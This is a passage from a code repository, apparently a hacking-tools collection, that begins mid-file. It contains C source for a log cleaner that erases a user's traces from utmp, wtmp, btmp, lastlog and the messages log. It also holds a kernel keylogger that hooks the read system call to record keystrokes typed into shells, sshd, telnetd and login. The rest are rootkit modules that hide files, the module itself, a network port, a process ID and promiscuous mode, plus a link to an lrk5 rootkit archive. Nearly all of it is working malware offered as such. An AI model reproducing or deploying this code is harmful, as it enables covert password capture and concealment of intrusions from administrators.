copy_tmp(name_file); 95 | } 96 | 97 | dead_lastlog (char *name_file, char *username) 98 | { 99 | struct passwd *pwd; 100 | struct lastlog pos; 101 | int fd; 102 | 103 | if ( (pwd = getpwnam(username)) != NULL) 104 | { 105 | if ( (fd = open(name_file, O_RDWR)) < 0) { 106 | perror(name_file); 107 | exit(-1); 108 | } 109 | 110 | lseek(fd, (long)pwd->pw_uid * sizeof(struct lastlog), SEEK_SET); 111 | pos.ll_time = 0; 112 | strcpy(pos.ll_line, " "); 113 | strcpy(pos.ll_host, " "); 114 | write(fd, (char *)&pos, sizeof(struct lastlog)); 115 | 116 | close(fd); 117 | } 118 | } 119 | 120 | int main(int argc, char *argv[]) 121 | { 122 | char *username; 123 | char *tty; 124 | char *ip; 125 | char *hostname; 126 | 127 | if ((argc < 3) || (argc > 5)) { 128 | printf("Usage: %s [IP] [hostname]\n\n", argv[0]); 129 | exit(-1); 130 | } 131 | 132 | fprintf(stderr, "========================================\n"); 133 | fprintf(stderr, "= Log-cleaner by Ivan Sklyaroff, 2006. =\n"); 134 | fprintf(stderr, "========================================\n"); 135 | 136 | username = argv[1]; 137 | tty = argv[2]; 138 | ip = (argc > 3) ? argv[3] : NULL; 139 | hostname = (argc > 4) ? argv[4] : NULL; 140 | 141 | dead_uwbtmp(UTMP_FILE, username, tty); 142 | printf("utmp ok!\n"); 143 | dead_uwbtmp(WTMP_FILE, username, tty); 144 | printf("wtmp ok!\n"); 145 | dead_uwbtmp(BTMP_FILE, username, tty); 146 | printf("btmp ok!\n"); 147 | dead_lastlog(LASTLOG_FILE, username); 148 | printf("lastlog ok!\n"); 149 | dead_messages(MESSAGES_FILE, username, tty, ip, hostname); 150 | printf("messages ok!\n"); 151 | 152 | return 0; 153 | } 154 | -------------------------------------------------------------------------------- /part5/Chapter 20/keylogger.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | #define LOGFILE "/tmp/log" // Default logfile 11 | 12 | static char logger_buffer[512]; 13 | static char test_buffer[256]; 14 | static char special_buffer[2]; 15 | int counter = 0; 16 | 17 | unsigned long* sys_call_table; 18 | int (*original_read) (unsigned int, char *, size_t); 19 | 20 | 21 | void find_sys_call_table(void) 22 | { 23 | int i; 24 | unsigned long *ptr; 25 | unsigned long arr[4]; 26 | ptr = (unsigned long *)((init_mm.end_code + 4) & 0xfffffffc); 27 | while ( (unsigned long)ptr < (unsigned long)init_mm.end_data) { 28 | if (*ptr == (unsigned long)((unsigned long *)sys_close)) { 29 | for (i = 0; i < 4; i++) { 30 | arr[i] = *(ptr + i); 31 | arr[i] = (arr[i] >> 16) & 0x0000ffff; 32 | } 33 | if (arr[0] != arr[2] || arr[1] != arr[3]) { 34 | sys_call_table = (ptr - __NR_close); 35 | break; 36 | } 37 | } 38 | ptr++; 39 | } 40 | } 41 | 42 | 43 | int write_to_logfile(char *buffer) 44 | { 45 | struct file *file = NULL; 46 | mm_segment_t fs; 47 | int error, old_uid; 48 | 49 | old_uid = current->uid; // if user is not root make him root 50 | current->uid = 0; // so he can write to logfile 51 | // coz it'll be owned by root 52 | 53 | file = filp_open(LOGFILE, O_CREAT|O_APPEND, 00666); 54 | 55 | if (IS_ERR(file)) { 56 | error = PTR_ERR(file); 57 | goto out; 58 | } 59 | 60 | error = -EACCES; 61 | 62 | if (!S_ISREG(file->f_dentry->d_inode->i_mode)) 63 | goto out_err; 64 | 65 | error = -EIO; 66 | 67 | if (!file->f_op->write) 68 | goto out_err; 69 | 70 | error = 0; 71 | 72 | fs = get_fs(); 73 | set_fs(KERNEL_DS); 74 | 75 | file->f_op->write(file, buffer, strlen(buffer), &file->f_pos); 76 | 77 | set_fs(fs); 78 | filp_close(file,NULL); 79 | 80 | out: 81 | current->uid = old_uid; // Drop the UID 82 | return error; 83 | 84 | out_err: 85 | filp_close(file, NULL); 86 | goto out; 87 | } 88 | 89 | 90 | int hacked_read(unsigned int fd, char *buf, size_t count) 91 | { 92 | int r, i; 93 | 94 | r = original_read(fd, buf, count); 95 | 96 | if (counter) { 97 | 98 | if (counter == 2) { // Arrows + Break 99 | 100 | if (buf[0] == 0x44) { 101 | strcat(logger_buffer, "[Left.Arrow]"); 102 | counter = 0; 103 | goto END; 104 | } 105 | 106 | if (buf[0] == 0x43) { 107 | strcat(logger_buffer, "[Right.Arrow]"); 108 | counter = 0; 109 | goto END; 110 | } 111 | 112 | if (buf[0] == 0x41) { 113 | strcat(logger_buffer, "[Up.Arrow]"); 114 | counter = 0; 115 | goto END; 116 | } 117 | 118 | if (buf[0] == 0x42) { 119 | strcat(logger_buffer, "[Down.Arrow]"); 120 | counter = 0; 121 | goto END; 122 | } 123 | 124 | if (buf[0] == 0x50) { 125 | strcat(logger_buffer, "[Break]"); 126 | counter = 0; 127 | goto END; 128 | } 129 | 130 | if (buf[0] == 0x47) { 131 | strcat(logger_buffer, "[Middle.NumLock]"); 132 | counter = 0; 133 | goto END; 134 | } 135 | 136 | strncpy(special_buffer, buf, 1); 137 | counter++; 138 | goto END; 139 | } 140 | 141 | if (counter == 3) { // F1-F5 142 | 143 | if (buf[0] == 0x41) { 144 | strcat(logger_buffer, "[F1]"); 145 | counter = 0; 146 | goto END; 147 | } 148 | 149 | if (buf[0] == 0x42) { 150 | strcat(logger_buffer, "[F2]"); 151 | counter = 0; 152 | goto END; 153 | } 154 | 155 | if (buf[0] == 0x43) { 156 | strcat(logger_buffer, "[F3]"); 157 | counter = 0; 158 | goto END; 159 | } 160 | 161 | if (buf[0] == 0x44) { 162 | strcat(logger_buffer, "[F4]"); 163 | counter = 0; 164 | goto END; 165 | } 166 | 167 | if (buf[0] == 0x45) { 168 | strcat(logger_buffer, "[F5]"); 169 | counter = 0; 170 | goto END; 171 | } 172 | 173 | if (buf[0] == 0x7E) { // PgUp, PgDown, Ins, ... 174 | 175 | if (special_buffer[0] == 0x35) 176 | strcat (logger_buffer, "[PgUp]"); 177 | 178 | if (special_buffer[0] == 0x36) 179 | strcat (logger_buffer, "[PgDown]"); 180 | 181 | if (special_buffer[0] == 0x33) 182 | strcat (logger_buffer, "[Delete]"); 183 | 184 | if (special_buffer[0] == 0x34) 185 | strcat (logger_buffer, "[End]"); 186 | 187 | if (special_buffer[0] == 0x31) 188 | strcat (logger_buffer, "[Home]"); 189 | 190 | if (special_buffer[0] == 0x32) 191 | strcat (logger_buffer, "[Ins]"); 192 | 193 | counter = 0; 194 | goto END; 195 | } 196 | 197 | if (special_buffer[0] == 0x31) { // F6-F8 198 | 199 | if (buf[0] == 0x37) 200 | strcat(logger_buffer, "[F6]"); 201 | 202 | if (buf[0] == 0x38) 203 | strcat(logger_buffer, "[F7]"); 204 | 205 | if (buf[0] == 0x39) 206 | strcat(logger_buffer, "[F8]"); 207 | 208 | counter++; 209 | goto END; 210 | } 211 | 212 | 213 | if (special_buffer[0] == 0x32) { // F6-F12 214 | 215 | if (buf[0] == 0x30) 216 | strcat(logger_buffer, "[F9]"); 217 | 218 | if (buf[0] == 0x31) 219 | strcat(logger_buffer, "[F10]"); 220 | 221 | if (buf[0] == 0x33) 222 | strcat(logger_buffer, "[F11]"); 223 | 224 | if (buf[0] == 0x34) 225 | strcat(logger_buffer, "[F12]"); 226 | 227 | counter++; 228 | goto END; 229 | } 230 | } 231 | 232 | if (counter >= 4) { //WatchDog 233 | counter = 0; 234 | goto END; 235 | } 236 | 237 | counter ++; 238 | goto END; 239 | } 240 | 241 | /* 242 | ** sys_read() has read one byte from stdin or from elsewhere: 243 | ** fd == 0 --> stdin (sh, sshd) 244 | ** fd == 3 --> telnetd 245 | ** fd == 4 --> /bin/login 246 | */ 247 | if (r == 1 && (fd == 0 || fd == 3 || fd == 4)) { 248 | 249 | if (buf[0] == 0x15) { // Ctrl+U -> erase the whole row. 250 | logger_buffer[0] = '\0'; 251 | goto END; 252 | } 253 | 254 | if (buf[0] == 0x09) { // Tabulation 255 | strcat(logger_buffer, "[Tab]"); 256 | goto END; 257 | } 258 | 259 | /* 260 | ** User sends BackSpace, we erase the last symbol from the logger_buffer[]. 261 | ** BackSpace is 0x7F if we're logged locally, or 0x08 if we're logged 262 | ** with ssh, telnet ... 263 | */ 264 | if (buf[0] == 0x7F || buf[0] == 0x08) { 265 | 266 | if (logger_buffer[strlen(logger_buffer) - 1] == ']') { // Oh, the last symbol was "special"? 267 | 268 | for (i = 2; strlen(logger_buffer); i++) // Trying to find the other "[" 269 | if (logger_buffer[strlen(logger_buffer) - i] == '[') { 270 | logger_buffer[strlen(logger_buffer) - i] = '\0'; 271 | break; 272 | } 273 | goto END; 274 | } 275 | else { // If it was not "special" replace it with '\0' 276 | logger_buffer[strlen(logger_buffer) - 1] = '\0'; 277 | goto END; 278 | } 279 | } 280 | 281 | if (buf[0] == 0x1B) { // user just typed a "special" symbol 282 | counter++; 283 | goto END; 284 | } 285 | 286 | if (buf[0] == '\r' || buf[0] == '\n') { 287 | strncat(logger_buffer, "\n", 1); 288 | sprintf(test_buffer, "%s", logger_buffer); 289 | write_to_logfile(test_buffer); 290 | logger_buffer[0] = '\0'; 291 | } 292 | else 293 | strncat(logger_buffer, buf, 1); 294 | } 295 | 296 | END: return r; 297 | } 298 | 299 | 300 | int init_module(void) 301 | { 302 | find_sys_call_table(); 303 | original_read = (void *)sys_call_table[__NR_read]; 304 | sys_call_table[__NR_read] = (unsigned long)hacked_read; 305 | 306 | return 0; 307 | } 308 | 309 | 310 | void cleanup_module(void) 311 | { 312 | sys_call_table[__NR_read] = (unsigned long)original_read; 313 | } 314 | -------------------------------------------------------------------------------- /part5/Chapter 21/hide_file.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | MODULE_LICENSE ("GPL"); 7 | 8 | int (*orig_getdents)(u_int fd, struct dirent *dirp, u_int count); 9 | 10 | unsigned long* sys_call_table; 11 | 12 | static char *hide = "file"; 13 | 14 | void find_sys_call_table(void) 15 | { 16 | int i; 17 | unsigned long *ptr; 18 | unsigned long arr[4]; 19 | ptr = (unsigned long *)((init_mm.end_code + 4) & 0xfffffffc); 20 | while ((unsigned long)ptr < (unsigned long)init_mm.end_data) { 21 | if (*ptr == (unsigned long)((unsigned long *)sys_close)) { 22 | for (i = 0; i < 4; i++) { 23 | arr[i] = *(ptr + i); 24 | arr[i] = (arr[i] >> 16) & 0x0000ffff; 25 | } 26 | if (arr[0] != arr[2] || arr[1] != arr[3]) { 27 | sys_call_table = (ptr - __NR_close); 28 | break; 29 | } 30 | } 31 | ptr++; 32 | } 33 | } 34 | 35 | 36 | int new_getdents(u_int fd, struct dirent *dirp, u_int count) 37 | { 38 | unsigned int tmp, n; 39 | int t; 40 | 41 | struct dirent64 { 42 | int d_ino1, d_ino2; 43 | int d_off1, d_off2; 44 | unsigned short d_reclen; 45 | unsigned char d_type; 46 | char d_name[0]; 47 | } *dirp2, *dirp3; 48 | 49 | tmp = (*orig_getdents)(fd, dirp, count); 50 | 51 | if (tmp > 0) { 52 | dirp2 = (struct dirent64 *)kmalloc(tmp, GFP_KERNEL); 53 | copy_from_user(dirp2, dirp, tmp); 54 | dirp3 = dirp2; 55 | t = tmp; 56 | 57 | while (t > 0) { 58 | n = dirp3->d_reclen; 59 | t -= n; 60 | if (strcmp((char*)&(dirp3->d_name), hide) == NULL) { 61 | memcpy(dirp3, (char *)dirp3 + dirp3->d_reclen, t); 62 | tmp -= n; 63 | } 64 | dirp3 = (struct dirent64 *)((char *)dirp3 + dirp3->d_reclen); 65 | } 66 | 67 | copy_to_user(dirp, dirp2, tmp); 68 | kfree(dirp2); 69 | } 70 | 71 | return tmp; 72 | } 73 | 74 | 75 | int init_module(void) 76 | { 77 | find_sys_call_table(); 78 | orig_getdents = (void *)sys_call_table[__NR_getdents64]; 79 | sys_call_table[__NR_getdents64] = (unsigned long)new_getdents; 80 | return 0; 81 | } 82 | 83 | 84 | void cleanup_module() 85 | { 86 | sys_call_table[__NR_getdents64] = (unsigned long)orig_getdents; 87 | } 88 | 89 | 90 | -------------------------------------------------------------------------------- /part5/Chapter 21/hide_module.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | MODULE_LICENSE ("GPL"); 6 | 7 | #define MODULE_NAME "hide_module" 8 | 9 | int (*orig_write)(int, const char*, size_t); 10 | 11 | unsigned long* sys_call_table; 12 | 13 | void find_sys_call_table(void) 14 | { 15 | int i; 16 | unsigned long *ptr; 17 | unsigned long arr[4]; 18 | ptr = (unsigned long *)((init_mm.end_code + 4) & 0xfffffffc); 19 | while ((unsigned long)ptr < (unsigned long)init_mm.end_data) { 20 | if (*ptr == (unsigned long)((unsigned long *)sys_close)) { 21 | for (i = 0; i < 4; i++) { 22 | arr[i] = *(ptr + i); 23 | arr[i] = (arr[i] >> 16) & 0x0000ffff; 24 | } 25 | if (arr[0] != arr[2] || arr[1] != arr[3]) { 26 | sys_call_table = (ptr - __NR_close); 27 | break; 28 | } 29 | } 30 | ptr++; 31 | } 32 | } 33 | 34 | 35 | int new_write(int fd, const char* buf, size_t count) 36 | { 37 | char *temp; 38 | int ret; 39 | 40 | if (!strcmp(current->comm, "lsmod")) { 41 | temp = (char *)kmalloc(count + 1, GFP_KERNEL); 42 | copy_from_user(temp, buf, count); 43 | temp[count + 1] = 0; 44 | if (strstr(temp, MODULE_NAME) != NULL) { 45 | kfree(temp); 46 | return count; 47 | } 48 | } 49 | ret = orig_write(fd, buf, count); 50 | return ret; 51 | } 52 | 53 | 54 | int init_module(void) 55 | { 56 | find_sys_call_table(); 57 | orig_write = (void*)sys_call_table[__NR_write]; 58 | sys_call_table[__NR_write] = (unsigned long)new_write; 59 | return 0; 60 | } 61 | 62 | 63 | void cleanup_module(void) 64 | { 65 | sys_call_table[__NR_write] = (unsigned long)orig_write; 66 | } 67 | -------------------------------------------------------------------------------- /part5/Chapter 21/hide_netstat.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | #define TMPSZ 150 8 | 9 | #define PORT_TO_HIDE 80 10 | 11 | MODULE_LICENSE ("GPL"); 12 | 13 | int (*orig_tcp4_seq_show)(struct seq_file*, void *) = NULL; 14 | 15 | char *strnstr(const char *haystack, const char *needle, size_t n) 16 | { 17 | char *s = strstr(haystack, needle); 18 | if (s == NULL) 19 | return NULL; 20 | if ( (s - haystack + strlen(needle)) <= n) 21 | return s; 22 | else 23 | return NULL; 24 | } 25 | 26 | int hacked_tcp4_seq_show(struct seq_file *seq, void *v) 27 | { 28 | int retval = orig_tcp4_seq_show(seq, v); 29 | 30 | char port[12]; 31 | 32 | sprintf(port, "%04X", PORT_TO_HIDE); 33 | 34 | if (strnstr(seq->buf + seq->count - TMPSZ, port, TMPSZ)) 35 | seq->count -= TMPSZ; 36 | return retval; 37 | } 38 | 39 | 40 | int init_module(void) 41 | { 42 | struct tcp_seq_afinfo *our_afinfo = NULL; 43 | struct proc_dir_entry *our_dir_entry = proc_net->subdir; 44 | 45 | while (strcmp(our_dir_entry->name, "tcp")) 46 | our_dir_entry = our_dir_entry->next; 47 | 48 | if ( (our_afinfo = (struct tcp_seq_afinfo*)our_dir_entry->data)) 49 | { 50 | orig_tcp4_seq_show = our_afinfo->seq_show; 51 | our_afinfo->seq_show = hacked_tcp4_seq_show; 52 | } 53 | 54 | return 0; 55 | } 56 | 57 | void cleanup_module(void) 58 | { 59 | struct tcp_seq_afinfo *our_afinfo = NULL; 60 | struct proc_dir_entry *our_dir_entry = proc_net->subdir; 61 | 62 | while (strcmp(our_dir_entry->name, "tcp")) 63 | our_dir_entry = our_dir_entry->next; 64 | 65 | if ( (our_afinfo = (struct tcp_seq_afinfo *)our_dir_entry->data)) 66 | { 67 | our_afinfo->seq_show = orig_tcp4_seq_show; 68 | } 69 | } 70 | -------------------------------------------------------------------------------- /part5/Chapter 21/hide_pid.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | MODULE_LICENSE ("GPL"); 7 | 8 | #define DIRECTORY_ROOT "/proc" 9 | #define DIRECTORY_HIDE "3774" 10 | 11 | typedef int (*readdir_t)(struct file *, void *, filldir_t); 12 | 13 | readdir_t orig_proc_readdir = NULL; 14 | filldir_t proc_filldir = NULL; 15 | 16 | 17 | int new_filldir(void *buf, const char *name, int nlen, loff_t off, 18 | ino_t ino, unsigned x) 19 | { 20 | if (!strncmp(name, DIRECTORY_HIDE, strlen(DIRECTORY_HIDE))) 21 | return 0; 22 | 23 | return proc_filldir(buf, name, nlen, off, ino, x); 24 | } 25 | 26 | 27 | int our_proc_readdir(struct file *fp, void *buf, filldir_t filldir) 28 | { 29 | int r = 0; 30 | 31 | proc_filldir = filldir; 32 | r = orig_proc_readdir(fp, buf, new_filldir); 33 | return r; 34 | } 35 | 36 | 37 | int patch_vfs(readdir_t *orig_readdir, readdir_t new_readdir) 38 | { 39 | struct file *filep; 40 | 41 | if ( (filep = filp_open(DIRECTORY_ROOT, O_RDONLY, 0)) == NULL) { 42 | return -1; 43 | } 44 | 45 | if (orig_readdir) 46 | *orig_readdir = filep->f_op->readdir; 47 | 48 | filep->f_op->readdir = new_readdir; 49 | filp_close(filep, 0); 50 | 51 | return 0; 52 | } 53 | 54 | 55 | int unpatch_vfs(readdir_t orig_readdir) 56 | { 57 | struct file *filep; 58 | 59 | if ( (filep = filp_open(DIRECTORY_ROOT, O_RDONLY, 0)) == NULL) { 60 | return -1; 61 | } 62 | 63 | filep->f_op->readdir = orig_readdir; 64 | filp_close(filep, 0); 65 | return 0; 66 | } 67 | 68 | 69 | int init_module(void) 70 | { 71 | patch_vfs(&orig_proc_readdir, our_proc_readdir); 72 | return 0; 73 | } 74 | 75 | 76 | void cleanup_module(void) 77 | { 78 | unpatch_vfs(orig_proc_readdir); 79 | } 80 | 81 | -------------------------------------------------------------------------------- /part5/Chapter 21/hide_promisc.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | MODULE_LICENSE ("GPL"); 7 | 8 | int (*orig_ioctl)(int, int, unsigned long); 9 | 10 | unsigned long* sys_call_table; 11 | 12 | static int promisc = 0; 13 | 14 | void find_sys_call_table(void) 15 | { 16 | int i; 17 | unsigned long *ptr; 18 | unsigned long arr[4]; 19 | ptr = (unsigned long *)((init_mm.end_code + 4) & 0xfffffffc); 20 | while ((unsigned long)ptr < (unsigned long)init_mm.end_data) { 21 | if (*ptr == (unsigned long)((unsigned long *)sys_close)) { 22 | for (i = 0; i < 4; i++) { 23 | arr[i] = *(ptr + i); 24 | arr[i] = (arr[i] >> 16) & 0x0000ffff; 25 | } 26 | if (arr[0] != arr[2] || arr[1] != arr[3]) { 27 | sys_call_table = (ptr - __NR_close); 28 | break; 29 | } 30 | } 31 | ptr++; 32 | } 33 | } 34 | 35 | 36 | int new_ioctl(int fd, int request, unsigned long arg) 37 | { 38 | int reset = 0; 39 | int ret; 40 | struct ifreq *ifr; 41 | 42 | ifr = (struct ifreq *)arg; 43 | 44 | if (request == SIOCSIFFLAGS) { 45 | if (ifr->ifr_flags & IFF_PROMISC) { 46 | promisc = 1; 47 | } else { 48 | promisc = 0; 49 | ifr->ifr_flags |= IFF_PROMISC; 50 | reset = 1; 51 | } 52 | } 53 | 54 | ret = (*orig_ioctl)(fd, request, arg); 55 | if (reset) { 56 | ifr->ifr_flags &= ~IFF_PROMISC; 57 | } 58 | if (ret < 0) return ret; 59 | 60 | if (request == SIOCGIFFLAGS) { 61 | if (promisc) 62 | ifr->ifr_flags |= IFF_PROMISC; 63 | else 64 | ifr->ifr_flags &= ~IFF_PROMISC; 65 | } 66 | 67 | return ret; 68 | } 69 | 70 | 71 | int init_module(void) 72 | { 73 | find_sys_call_table(); 74 | orig_ioctl = (void *)sys_call_table[__NR_ioctl]; 75 | sys_call_table[__NR_ioctl] = (unsigned long)new_ioctl; 76 | return 0; 77 | } 78 | 79 | 80 | void cleanup_module(void) 81 | { 82 | sys_call_table[__NR_ioctl] = (unsigned long)orig_ioctl; 83 | } 84 | -------------------------------------------------------------------------------- /part5/Chapter 21/lrk5.src.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dreddsa5dies/hackUtils/a78d2ccad535aae8ab7a6d80e9aa848bc956981c/part5/Chapter 21/lrk5.src.tar.gz --------------------------------------------------------------------------------